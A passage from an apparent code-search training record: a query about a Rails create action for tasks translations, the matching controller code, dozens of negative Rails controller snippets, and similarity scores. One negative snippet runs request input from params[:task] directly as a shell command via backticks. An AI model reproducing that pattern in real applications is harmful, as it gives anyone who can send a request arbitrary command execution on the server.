format.html # new.html.erb\n format.xml { render :xml => @workflow_task_type }\n end\n end", "def new\n @task = Task.new(:project_id => params[:id])\n\t\t@projects = Project.sorted\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @task }\n end\n end", "def new\n @language = Language.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render xml: @language }\n end\n end", "def new\n @project = Project.find(params[:project_id])\n @task = @project.tasks.build\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @task }\n end\n end", "def new\n @tpago = Tpago.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @tpago }\n end\n end", "def new\n @project = Project.create\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @project }\n end\n end", "def new\n @project_path = ProjectPath.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @project_path }\n end\n end", "def new\n @project = Project.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @project }\n end\n end", "def new\n @project = Project.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @project }\n end\n end", "def new\n @project = Project.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @project }\n end\n end", "def new\n @project = Project.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @project }\n end\n end", "def new\n @project = Project.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @project }\n end\n end", "def new\n @project = Project.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @project }\n end\n end", "def new\n @project = Project.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @project }\n end\n end", "def new\n @project = Project.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @project }\n end\n end", "def new\n @project = Project.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @project }\n end\n end", "def new\n @project = Project.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @project }\n end\n end", "def new\n @project = Project.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @project }\n end\n end", "def new\n @project = Project.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @project }\n end\n end", "def new\n @project = Project.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @project }\n end\n end", "def new\n @project = Project.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @project }\n end\n end", "def new\n @project = Project.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @project }\n end\n end", "def new\n @project = Project.new\n\n respond_to do |format|\n format.html # new.haml\n format.xml { render :xml => @project }\n end\n end", "def new\n @txt = Txt.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @txt }\n end\n end", "def new\n @lookup_scantask = LookupScantask.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @lookup_scantask }\n end\n end", "def new\n @questao = Questao.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @questao }\n end\n end", "def new\n @todo = Todo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @todo }\n end\n end", "def new\n @todo = Todo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @todo }\n end\n end", "def new\n @language = Language.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @language }\n end\n end", "def new\n\t\t@admin_translatee = Admin::Translatee.new\n\n\t\trespond_to do |format|\n\t\t\tformat.html # new.html.erb\n\t\t\tformat.json { render :json => @admin_translatee }\n\t\tend\n\tend", "def new\n @task = Task.new(:expires => true, :time => -1, :start_date => Time.now.at_beginning_of_day, :end_date => Time.now.at_beginning_of_day)\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @task }\n end\n end", "def new\n @task_row = TaskRow.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @task_row }\n end\n end", "def create\n @events_translation = EventsTranslation.new(params[:events_translation])\n\n respond_to do |format|\n if @events_translation.save\n format.html { redirect_to(@events_translation, :notice => 'Events translation was successfully created.') }\n format.xml { render :xml => @events_translation, :status => :created, :location => @events_translation }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @events_translation.errors, :status => :unprocessable_entity }\n end\n end\n end", "def new\n @typo = Typo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @typo }\n end\n end", "def new\n @transmission = Transmission.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @transmission }\n end\n end", "def new\n @tx = Tx.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @tx }\n end\n end", "def new\n @annotation_task = AnnotationTask.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @annotation_task }\n end\n end", "def new\n @tso = Tso.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @tso }\n end\n end", "def new\n respond_with(new_i18n_key)\n end", "def new\n @node = Node.scopied.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @node }\n end\n end", "def new\n @tipos_movimiento = TiposMovimiento.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @tipos_movimiento }\n end\n end", "def show\n @tasks_translation = TasksTranslation.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @tasks_translation }\n end\n end", "def new\n @template = Template.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @template }\n end\n end", "def new\n @task_transition = TaskTransition.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @task_transition }\n end\n end", "def new\n @goaltemplate = Goaltemplate.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @goaltemplate }\n end\n end", "def new\n @resource = Resource.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @resource }\n end\n end" ]
[ "0.695351", "0.681781", "0.681781", "0.681781", "0.681781", "0.6811606", "0.68010306", "0.67411697", "0.66611695", "0.6659251", "0.6552536", "0.65156525", "0.6451627", "0.64503384", "0.6429063", "0.6428584", "0.64077604", "0.6402117", "0.63208574", "0.63081473", "0.62978756", "0.6274917", "0.6267215", "0.62464994", "0.62452453", "0.62340426", "0.6231866", "0.6204732", "0.6200401", "0.6198199", "0.6188291", "0.61652255", "0.6157472", "0.6156905", "0.6142439", "0.61206657", "0.61198723", "0.61160696", "0.61160696", "0.61160696", "0.61160696", "0.61160696", "0.61160696", "0.61160696", "0.61160696", "0.61160696", "0.61160696", "0.61160696", "0.61160696", "0.6112503", "0.60945445", "0.608034", "0.60640013", "0.605702", "0.6055798", "0.60531664", "0.60461503", "0.6039647", "0.60395527", "0.6038618", "0.60347307", "0.6027184", "0.6027184", "0.6027184", "0.6027184", "0.6027184", "0.6027184", "0.6027184", "0.6027184", "0.6027184", "0.6027184", "0.6027184", "0.6027184", "0.6027184", "0.6027184", "0.6027184", "0.6016571", "0.60165685", "0.5995989", "0.59896326", "0.5987717", "0.5987717", "0.59807914", "0.59753305", "0.59687454", "0.59584564", "0.595608", "0.59558094", "0.5946845", "0.5943254", "0.59412104", "0.59338367", "0.5929268", "0.59284085", "0.59272355", "0.5925406", "0.5920178", "0.591759", "0.5909246", "0.58998513" ]
0.76929295
0
POST /tasks_translations POST /tasks_translations.xml
def create @tasks_translation = TasksTranslation.new(params[:tasks_translation]) respond_to do |format| if @tasks_translation.save format.html { redirect_to([:admin,@tasks_translation], :notice => 'Tasks translation was successfully created.') } format.xml { render :xml => @tasks_translation, :status => :created, :location => @tasks_translation } else format.html { render :action => "new" } format.xml { render :xml => @tasks_translation.errors, :status => :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def create_translations\n end", "def request_translations(texts, options = T.unsafe(nil), http_options = T.unsafe(nil)); end", "def create\n @events_translation = EventsTranslation.new(params[:events_translation])\n\n respond_to do |format|\n if @events_translation.save\n format.html { redirect_to(@events_translation, :notice => 'Events translation was successfully created.') }\n format.xml { render :xml => @events_translation, :status => :created, :location => @events_translation }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @events_translation.errors, :status => :unprocessable_entity }\n end\n end\n end", "def new\n @tasks_translation = TasksTranslation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @tasks_translation }\n end\n end", "def translations; end", "def request_translation(params = {})\n response = Unirest.post(\"#{Unbabel::Client::ENDPOINT}/translation/\",\n parameters: params.to_json)\n response.body\n end", "def post_translation(key, lang, source, new_value)\n return true unless $REAL\n\n new_value_json = {\n 'target_language' => lang,\n 'type' => 'key',\n 'key' => key,\n 'source' => source,\n 'target' => new_value\n }.to_json\n # NOTE: This popen invocation does NOT go through the shell,\n # so we do not use shell escapes.\n # POST https://translation.io/api/v1/segments(.json)\n IO.popen(\n [\n 'curl', '-i',\n '-H', \"x-api-key: #{$API_KEY}\",\n '-H', 'content-type: application/json',\n '--request', 'POST',\n 'https://translation.io/api/v1/segments.json',\n '--data', new_value_json\n ]\n ) do |io|\n curl_output = io.read\n puts curl_output # Very useful for debugging!\n io.close\n $CHILD_STATUS.success? # Return whether or not we succeeded\n end\nend", "def create\n @task = @project.tasks.build(params[:task])\n #alias field is non mandatory\n \n respond_to do |format|\n if @task.save\n flash[:notice] = 'Task was successfully created.'\n format.html { redirect_to [@project, :tasks] }\n format.xml { render :xml => @task, :status => :created, :location => @task }\n else\n flash[:notice] = 'Failed to create task.'\n flash[:errors] = @task.errors.full_messages.join('<br />')\n format.html { redirect_to :back }\n end\n end\n end", "def create(options = {})\n res = self.post \"/translate/jobs\", :body => options\n check_for_errors(res)\n res['response']\n end", "def create\n @example_translation = ExampleTranslation.new(example_translation_params)\n\n respond_to do |format|\n if @example_translation.save\n format.html { redirect_to @example_translation, notice: 'Example translation was successfully created.' }\n format.json { render :show, status: :created, location: @example_translation }\n else\n format.html { render :new }\n format.json { render json: @example_translation.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\r\n @service_translation = ServiceTranslation.new(service_translation_params)\r\n\r\n respond_to do |format|\r\n if @service_translation.save\r\n format.html { redirect_to @service_translation, notice: 'Serviço de traduções criado com sucesso.' }\r\n format.json { render action: 'show', status: :created, location: @service_translation }\r\n else\r\n format.html { render action: 'new' }\r\n format.json { render json: @service_translation.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end", "def create\n @translation = Translation.new(params[:translation])\n\n respond_to do |format|\n if @translation.save\n format.html { redirect_to @translation, notice: 'Translation was successfully created.' }\n format.json { render json: @translation, status: :created, location: @translation }\n else\n format.html { render action: \"new\" }\n format.json { render json: @translation.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @translation_key = Multilang::TranslationKey.new translation_key_params\n @translation_key.tap(&:save).create_translations\n respond_to do |format|\n format.html { redirect_to translations_path }\n format.js\n end\n end", "def CreateLocale params = {}\n \n APICall(path: 'locales.json',method: 'POST',payload: params.to_json)\n \n end", "def create\n\t\t@admin_translatee = Admin::Translatee.new(params[:admin_translatee])\n\n\t\trespond_to do |format|\n\t\t\tif @admin_translatee.save\n\t\t\t\tformat.html { redirect_to @admin_translatee, :notice => 'Translatee was successfully created.' }\n\t\t\t\tformat.json { render :json => @admin_translatee, :status => :created, :location => @admin_translatee }\n\t\t\telse\n\t\t\t\tformat.html { render :action => \"new\" }\n\t\t\t\tformat.json { render :json => @admin_translatee.errors, :status => :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend", "def createdtranslation_params\n params.require(:createdtranslation).permit(:totranslate, :translated, :language1, :language2, :title, :creator_id_id)\n end", "def destroy\n @tasks_translation = TasksTranslation.find(params[:id])\n @tasks_translation.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_tasks_translations_url) }\n format.xml { head :ok }\n end\n end", "def create\n @task = Task.new(params[:task]) \n\n respond_to do |format|\n if @task.save\n format.html { redirect_to @task, notice: 'Úkol byl úspěšně vyvtvořen.' }\n format.json { render json: @task, status: :created, location: @task }\n else\n format.html { render action: \"new\" }\n format.json { render json: @task.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @subtask = Subtask.new(params[:subtask])\n\n respond_to do |format|\n if @subtask.save\n flash[:notice] = 'Subtask was successfully created.'\n format.html { redirect_to(@subtask) }\n format.xml { render :xml => @subtask, :status => :created, :location => @subtask }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @subtask.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create_item(name)\n if :locale == 'de'\n self.action = \"Aufgabe '#{name}' wurde erstellt\"\n else\n self.action = \"Task '#{name}' has been created\"\n end\n end", "def create\n @translations_versions_test = TranslationsVersionsTest.new(translations_versions_test_params)\n\n respond_to do |format|\n if @translations_versions_test.save\n format.html { redirect_to @translations_versions_test, notice: 'Translations versions test was successfully created.' }\n format.json { render action: 'show', status: :created, location: @translations_versions_test }\n else\n format.html { render action: 'new' }\n format.json { render json: @translations_versions_test.errors, status: :unprocessable_entity }\n end\n end\n end", "def setup_mass_copy_translations\n end", "def work_process_params\n params.require(:work_process).permit(:translations_attributes => [:id, :locale, :name])\n end", "def create\n @createdtranslation = Createdtranslation.new(createdtranslation_params)\n\n respond_to do |format|\n if @createdtranslation.save\n format.html { redirect_to @createdtranslation, notice: 'Creation was successfully created.' }\n format.json { render :show, status: :created, location: @createdtranslation }\n else\n format.html { render :new }\n format.json { render json: @createdtranslation.errors, status: :unprocessable_entity }\n end\n end\n end", "def init_translations; end", "def register\n ensure_post\n ensure_application\n ensure_valid_signature\n\n unless params[:source].blank?\n source = Tr8n::TranslationSource.find_or_create(params[:source], application)\n end\n\n phrases = []\n if params[:phrases]\n begin\n phrases = HashWithIndifferentAccess.new({:data => JSON.parse(params[:phrases])})[:data]\n rescue Exception => ex\n raise Tr8n::Exception.new(\"Invalid request. JSON parsing failed: #{ex.message}\")\n end\n elsif params[:label]\n phrases << {:label => params[:label], :description => params[:description]}\n end\n\n keys = []\n phrases.each do |phrase|\n phrase = {:label => phrase} if phrase.is_a?(String)\n next if phrase[:label].strip.blank?\n opts = {:source => source, :locale => (language || Tr8n::Config.default_language).locale, :application => application}\n keys << Tr8n::TranslationKey.find_or_create(phrase[:label], phrase[:description], opts).to_api_hash(:translations => false)\n end\n\n render_response(keys)\n end", "def delete_translations\n end", "def create\n @content_translation = ContentTranslation.new(params[:content_translation])\n\n respond_to do |format|\n if @content_translation.save\n format.html { redirect_to @content_translation, notice: 'Content translation was successfully created.' }\n format.json { render json: @content_translation, status: :created, location: @content_translation }\n else\n format.html { render action: \"new\" }\n format.json { render json: @content_translation.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @task = current_user.tasks.new(task_params)\n respond_to do |format|\n if @task.save\n format.html { redirect_to @task, notice: 'タスクを登録しました!' }\n format.json { render :show, status: :created, location: @task }\n else\n format.html { render :new }\n format.json { render json: @task.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @page_translation = PageTranslation.new(page_translation_params)\n\n respond_to do |format|\n if @page_translation.save\n format.html { redirect_to @page_translation, notice: 'Page translation was successfully created.' }\n format.json { render :show, status: :created, location: @page_translation }\n else\n format.html { render :new }\n format.json { render json: @page_translation.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @tasks_translation = TasksTranslation.find(params[:id])\n\n respond_to do |format|\n if @tasks_translation.update_attributes(params[:tasks_translation])\n format.html { redirect_to([:admin,@tasks_translation], :notice => 'Tasks translation was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @tasks_translation.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @translation = Translation.new(translation_params(:create))\n @translation.created_manually = true\n if @translation.save\n tflash('create', :success, {:model=>@@model, :count=>1}) \n redirect_to translation_path(@translation.id), notice: \"English translation was successfully created: #{@translation.translation}.\"\n else\n render action: 'new', error: @translation.errors.messages.to_s \n end\n end", "def create_task(list_id, text)\n path = \"lists/#{list_id}/tasks\"\n params = {task: {text: text}}\n request(path, params, :post)\n\n # output full list again\n show_list(list_id)\n end", "def create_task(options = {})\n request(:post, \"tasks\", options)\n end", "def task_params\n params.require(:task).permit(:title, :content, :deadline, :status, :search, :priority, {label_ids:[]})\n end", "def save_task\n @message = Message.related(current_user.id).find(params[:message_id])\n\n @task = Task.new\n @task.full_text = @message.full_text\n @task.user_id = current_user.id\n @task.agent_id = current_user.id\n\n render '/tasks/new'\n end", "def create\n @task = Task.new(\n name: params[:task][:name],\n description: params[:task][:description],\n completed_at: params[:task][:completed_at]\n )\n if @task.save\n redirect_to task_path(@task.id)\n else\n render :new\n end\n end", "def generate_yaml(locale_name, translations)\n yaml = YamlDocument.new(\"config/locales/translation_#{locale_name}.yml\", locale_name)\n each_value [], translations do |parents, value|\n node = parents.inject(yaml[locale_name]) {|node, parent| node[parent]}\n node.value = value\n end\n yaml\n end", "def service_translation_params\r\n params.require(:service_translation).permit(:id,:name, :schedule, :language, :description, :transport)\r\n end", "def create\n @task = current_user.tasks.build(task_params)\n command = Tasks::Create.call(@task)\n\n respond_to do |format|\n if command.success?\n # TODO: Move messages to en.yml and use I18n\n format.html { redirect_to @task, notice: \"Task was successfully created.\" }\n else\n format.html { render :new, status: :unprocessable_entity }\n end\n end\n end", "def create\n @translation_language = TranslationLanguage.new(translation_language_params)\n\n respond_to do |format|\n if @translation_language.save\n tflash('create', :success, {:model=>@@model, :count=>1})\n format.html { redirect_to(translation_languages_path)} # , :notice => t('messages.create.success', :model=>@@model)) }\n format.xml { render :xml => @translation_language, :status => :created, :location => @translation_language }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @translation_language.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @task = Task.new(params[:task])\n\n respond_to do |format|\n if @task.save\n flash[:notice] = 'Task was successfully created.'\n format.html { redirect(@task) }\n format.xml { render :xml => @task, :status => :created, :location => @task }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @task.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @workflow_task = WorkflowTask.new(params[:workflow_task])\n\n respond_to do |format|\n if @workflow_task.save\n flash[:notice] = 'WorkflowTask was successfully created.'\n format.html { redirect_to(@workflow_task) }\n format.xml { render :xml => @workflow_task, :status => :created, :location => @workflow_task }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @workflow_task.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @translator = Translator.new(translator_params)\n\n respond_to do |format|\n if @translator.save\n format.html { redirect_to @translator, notice: 'Translator was successfully created' }\n format.json { render :show, status: :created, location: @translator }\n else\n format.html { render :new }\n format.json { render json: @translator.errors, status: :unprocessable_entity }\n end\n end\n end", "def create_task\n\t@task = Task.create(:quest_id => params[:id], :user_id => @current_user.id, :title => params[:task][:title])\n\tredirect_to quest_path(params[:id])\n\tend", "def create\n @task = @project.tasks.new(task_params)\n\n respond_to do |format|\n if @task.save\n format.html { redirect_to [@project, @task], notice: 'Task was successfully created.' }\n format.json { render :show, status: :created, location: @task }\n else\n format.html { render :new }\n format.json { render json: @task.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n task = current_user.tasks.create(name: \"Neue Aufgabe\")\n render text: task.name\n end", "def create\n=begin\n params[:short_term_goal][:tasks] = Array.new\n tasks_array = Array.new\n if params[:task]\n params[:task].each do |num,task| \n tasks_array[Integer(num)] = task if task != ''\n end\n end\n tasks_array.each do |task|\n params[:short_term_goal][:tasks] << Task.create(:name => task) if task != nil\n end\n=end\n @short_term_goal = ShortTermGoal.new(params[:short_term_goal])\n respond_to do |format|\n if @short_term_goal.save\n format.html { redirect_to(myguide_path(@current_user), :notice => 'Short term goal was successfully created.') }\n format.xml { render :xml => @short_term_goal, :status => :created, :location => @short_term_goal }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @short_term_goal.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @task = params[:task]\n redirect_to new_task_url if @task.blank?\n @response = `#{@task}`\n end", "def translations_hash; end", "def create\n @definition_translation = DefinitionTranslation.new(definition_translation_params)\n\n respond_to do |format|\n if @definition_translation.save\n format.html { redirect_to :back, notice: 'Definition translation was successfully created.' }\n format.json { render :show, status: :created, location: @definition_translation }\n else\n format.html { render :new }\n format.json { render json: @definition_translation.errors, status: :unprocessable_entity }\n end\n end\n end", "def get_po\r\n\r\n send_file(\"#{Rails.root}/po/#{params[:locale]}/#{APP_SID}.po\",\r\n :filename => \"#{APP_SID}.po\",\r\n :type => \"text/x-gettext-translation\")\r\n end", "def task_params\n params.require(:task).permit(:name, :detail, :deadline, :status, :priority, label_ids: [])\n end", "def create\n @task = @project.tasks.create!(task_params)\n\n respond_to do |format|\n if @task.save\n format.html { redirect_to project_url(@project), notice: 'Task was successfully created.' }\n format.json { render :show, status: :created, location: @project }\n else\n format.html { render :new }\n format.json { render json: @task.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @task = @project.tasks.build(params[:task])\n if @task.save\n @task.insert_at # The top of the list.\n respond_to do |format|\n format.html do\n flash[:notice] = 'Task was created.'\n flash[:highlight_dom_id] = dom_id(@task)\n redirect_to project_tasks_path(@project)\n end\n end\n else\n respond_to do |format|\n format.html { render :action => 'new' }\n end\n end\n end", "def store_translations(locale, data, options = T.unsafe(nil)); end", "def create\n @project = Project.find(params[:project_id])\n @task = @project.tasks.new(task_params)\n\n respond_to do |format|\n if @task.save\n format.html { redirect_to @project, notice: 'Task was successfully created.' }\n format.json { render :show, status: :created, location: @task }\n else\n format.html { render :new }\n format.json { render json: @task.errors, status: :unprocessable_entity }\n end\n end\n end", "def translations(language = nil)\n Birdman::Requester.get(\"movies/#{id}/translations/#{language}\")\n end", "def task_params\n params.require(:task).permit(:title, :text, :priority, :completed)\n end", "def update_topic_translations(topic_id, locale, translations)\n puts \"Updating #{locale} translations for topic ##{topic_id}\"\n\n # Tries a PATCH to update an existing translation\n res = patch \"/topics/#{topic_id}/translations/#{locale}\", translations\n return true if res != false\n\n\n # If not working, tries a POST to create it\n res = post \"/topics/#{topic_id}/translations\", translations.merge(:locale => locale)\n return !!res\n end", "def create\n @sub_task = SubTask.new(sub_task_params)\n\n respond_to do |format|\n if @sub_task.save\n format.html { redirect_to admin_sub_task_path(@sub_task), notice: 'sub_task was successfully created.' }\n format.json { render :show, status: :created, location: @sub_task }\n else\n format.html { render :new }\n format.json { render json: @sub_task.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @user_task = UserTask.new(params[:user_task])\n\n respond_to do |format|\n if @user_task.save\n flash[:notice] = 'UserTask was successfully created.'\n format.html { redirect_to(@user_task) }\n format.xml { render :xml => @user_task, :status => :created, :location => @user_task }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @user_task.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @task = Task.new(task_params)\n\n respond_to do |format|\n if @task.save\n format.html { redirect_to @task.project, notice: 'Tarefa criada com sucesso.' }\n format.json { render :show, status: :created, location: @task }\n else\n format.html { render :new }\n format.json { render json: @task.errors, status: :unprocessable_entity }\n end\n end\n end", "def create_translation_status(project_id, params)\n c_r Lokalise::Resources::CustomTranslationStatus, :create, project_id, params\n end", "def upload_po\r\n\r\n @locales = Dir.entries(\"#{Rails.root}/po\").select do |entry|\r\n File.directory?(File.join(Rails.root, \"po\", entry)) and !(entry =='.' || entry == '..')\r\n end\r\n if request.post?\r\n @errors = {}\r\n @errors[:locale] = \"You must provide a valid locale.\" unless @locales.include?(params[:locale])\r\n if params[:locale_file].nil?\r\n @errors[:locale_file] = \"You must provide a PO file.\"\r\n else\r\n begin\r\n GetPomo::PoFile.parse(File.read(params[:locale_file].tempfile))\r\n rescue\r\n @errors[:locale_file] = \"You must provide a valid PO file.\"\r\n end\r\n end\r\n\r\n # All good move file to the appropriate location and redirect\r\n\r\n if @errors.empty?\r\n FileUtils.mv(params[:locale_file].tempfile, Rails.root.join('po', params[:locale], \"#{Rails.application.class.to_s.split('::').first.downcase}.po\"))\r\n redirect_to locales_path\r\n end\r\n end\r\n end", "def create\n \n @task = params[:task] ? Task.create(params[:task]) : Task.create(:description=>params[:description], :isDone=>params[:isDone], :order=>params[:order] )\n respond_with(@task)\n \n end", "def create\n @task = Task.get(params[:task_id])\n lang_info = params[:script].delete(:language)\n\n @script = @task.scripts.new(params[:script])\n\n # set the language\n language = Language.get(lang_info)\n if language.nil?\n language = Language.create(lang_info)\n end\n @script.language = language\n\n respond_to do |format|\n if @script.save\n format.html { redirect_to(task_script_url(@task, @script), :notice => 'Script was successfully created.') }\n format.xml { render :xml => @script, :status => :created, :location => [@task, @script] }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @script.errors, :status => :unprocessable_entity }\n end\n end\n end", "def show\n @tasks_translation = TasksTranslation.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @tasks_translation }\n end\n end", "def create\n #byebug\n @task = Task.new(task_params)\n\n respond_to do |format|\n if @task.save\n format.html { redirect_to @task, notice: 'Task was successfully created.' }\n format.json { render :show, status: :created, location: @task }\n else\n format.html { render :new }\n format.json { render json: @task.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @translated_file = TranslatedFile.new(translated_file_params)\n\n respond_to do |format|\n if @translated_file.save\n format.html { redirect_to @translated_file, notice: 'Translated file was successfully created.' }\n format.json { render :show, status: :created, location: @translated_file }\n else\n format.html { render :new }\n format.json { render json: @translated_file.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @task = Task.new(task_params)\n\n respond_to do |format|\n if @task.save\n format.html { redirect_to @task, notice: 'Aufgabe wurde erfolgreich erstellt.' }\n format.json { render action: 'show', status: :created, location: @task }\n else\n format.html { render action: 'new' }\n format.json { render json: @task.errors, status: :unprocessable_entity }\n end\n end\n end", "def translate(response)\n end", "def create\n @api_task = Api::Task.new(api_task_params)\n\n respond_to do |format|\n if @api_task.save\n format.html { redirect_to @api_task, notice: 'Task was successfully created.' }\n format.json { render :show, status: :created, location: @api_task }\n else\n format.html { render :new }\n format.json { render json: @api_task.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @task_label = TaskLabel.new(task_label_params)\n\n respond_to do |format|\n if @task_label.save\n format.html { redirect_to @task_label, notice: 'Task label was successfully created.' }\n format.json { render :show, status: :created, location: @task_label }\n else\n format.html { render :new }\n format.json { render json: @task_label.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n tasks = Task.count + 1\n @task = Task.new(params[:task])\n @task.order = tasks\n respond_to do |format|\n if @task.save\n format.html { redirect_to_index('Task was successfully created', 1) }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @task.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @task = Task.new(task_params)\n\n respond_to do |format|\n if @task.save\n project = @task.project\n project.priority = project.priority + [@task.id]\n project.save\n format.json { render :show, status: :created, location: @task }\n else\n format.json { render json: @task.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @taks = Task.new()\n @task.save\n redirect_to task_path(@task)\n end", "def create\n \n @task = @project.tasks.new(params[:task])\n\n if @task.save\n redirect_to(project_tasks_path(@project))\n flash[:notice] = 'Task was successfully created.' \n else\n \t\n render('new')\n end\n end", "def translations\n @translations ||= {}\n end", "def create\n @rus_translation = RusTranslation.from_params rus_translation_params\n # render\n respond_to do |format|\n if @rus_translation.save\n format.html { redirect_to rus_translations_path, notice: 'Rus translation was successfully created.' }\n format.json { head :no_content }\n else\n format.html { index; render :index }\n format.json { render json: @rus_translation.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n\n @task = Task.new(task_params)\n\n respond_to do |format|\n if @task.save\n @task.send_slack\n format.html { redirect_to @task, notice: t('task.successfully-created') }\n format.json { render :show, status: :created, location: @task }\n else\n format.html { render :new }\n format.json { render json: @task.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n flash[:notice] = \"Task was successfully created.\" if task.save\n respond_with(task)\n end", "def create\n projusers = ProjectsUser.find(params[:task][:project_users_id])\n @task = projuser.tasks.build(task_params)\n\n if @task.save\n render json: @task , status: :created, location: @task\n else\n render json: @task.errors, status: :unprocessable_entity\n end\n end", "def create_translations\n I18n.available_locales.each do |locale|\n next if locale == I18n.locale\n @micropost.translations.create(locale: locale,\n content: micropost_params[:content])\n end\n end", "def create\n @reports_translation = ReportsTranslation.new(params[:reports_translation])\n\n respond_to do |format|\n if @reports_translation.save\n format.html { redirect_to(@reports_translation, :notice => 'Reports translation was successfully created.') }\n format.xml { render :xml => @reports_translation, :status => :created, :location => @reports_translation }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @reports_translation.errors, :status => :unprocessable_entity }\n end\n end\n end", "def translations( params={} )\n translations = get_connections(\"translations\", params)\n return map_connections translations, :to => Facebook::Graph::Generic\n end", "def create\n @project = Project.find(params[:project_id]) \n @task = @project.task.build \n @task.name = params[:task][:name]\n if @task.name.empty? \n @task.name = \"New task\" \n end\n tasks = Task.find_all_by_project_id(@task.project_id)\n @task.priority = tasks.count\n @task.status = false\n @task.deadline = Time.now\n\n respond_to do |format|\n if @task.save\n format.html { redirect_to projects_path }\n format.json { render json: @task, status: :created, location: @task }\n format.js { redirect_to projects_path }\n else\n format.html { render action: \"new\" }\n format.json { render json: @task.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @task = Task.new(params[:task])\n if @task.save\n flash[:notice] = 'Task was successfully created.' \n end\n respond_with(@task)\n end", "def create\n @project_task = ProjectTask.new(project_task_params)\n\n respond_to do |format|\n if @project_task.save\n format.html { redirect_to @project_task, notice: 'Project task was successfully created.' }\n format.json { render :show, status: :created, location: @project_task 